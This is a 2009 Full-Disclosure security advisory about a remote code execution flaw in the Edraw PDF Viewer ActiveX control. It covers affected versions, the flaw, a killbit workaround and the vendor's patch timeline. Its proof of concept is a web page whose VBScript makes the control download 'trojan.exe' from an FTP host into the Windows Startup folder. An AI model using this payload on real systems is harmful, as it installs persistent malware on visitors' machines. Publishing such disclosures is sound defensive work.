full-disclosure - Edraw PDF Viewer Component ActiveX Remote code execution vulnerability

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <b48884620906172330t314f6b12v311cf23576423850@mail.gmail.com>
Date: Thu, 18 Jun 2009 14:30:43 +0800
From: "Jambalaya ." <jambalaya.maillist@...il.com>
To: Full-Disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Edraw PDF Viewer Component ActiveX Remote code
	execution vulnerability

Edraw PDF Viewer Component ActiveX Remote code execution vulnerability

By Jambalaya of Nevis Labs
Date: 2009.06.16

Vender:
EdrawSoft

 Affected:
Edraw PDF Viewer Component < 3.2.0.126
*other version may also be affected

Overview:
"Edraw PDF Viewer Component is a light weight ActiveX Control which enables
your application to display and interact with PDF files.It is identical to
Adobe Reader program and adds high speed viewing of PDF documents to your
applications easily."
For more information, see the vendor's site found at the following link:
http://www.ocxt.com

Details:
The specific flaws exists in pdfviewer.ocx ActiveX control.Succssfully
exploiting this vulnerability allows attackers to execute
arbitrary code on vulnerable installation.
The vulnerability exists due to FtpConnect() function, which could download
any file from remote FTP server and put on user's disk.Malicious user could
download trojan and put into "startup" folder so that the trojan will run up
when user's computer restart. Successful exploitation requires that the
target user browse to a malicious web page.

Proof of Concept:
<html>
<body>
<BR><object classid="clsid:44A8091F-8F01-43B7-8CF7-4BBA71E61E04" id="target"
width="67" height="50" codebase="
http://www.ocxt.com/download/officeviewer.cab#6,0,612,1"></object>
<BR><BR>
<script language="vbscript">
target.FtpConnect "ftp://192.168.220.201", "test", "tester"
target.FtpDownloadFile "trojan.exe", "C:\Documents and Settings\All
Users\Start Menu\Programs\Startup\trojan.exe"
target.FtpDisConnect
</script>
</body>
</html>

Workaround:
Set a killbit for this ActiveX.

Vendor Response:
2009.06.16 Vendor notified via email
2009.06.17 Vendor respond, and release patch

Content of type "text/html" skipped

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/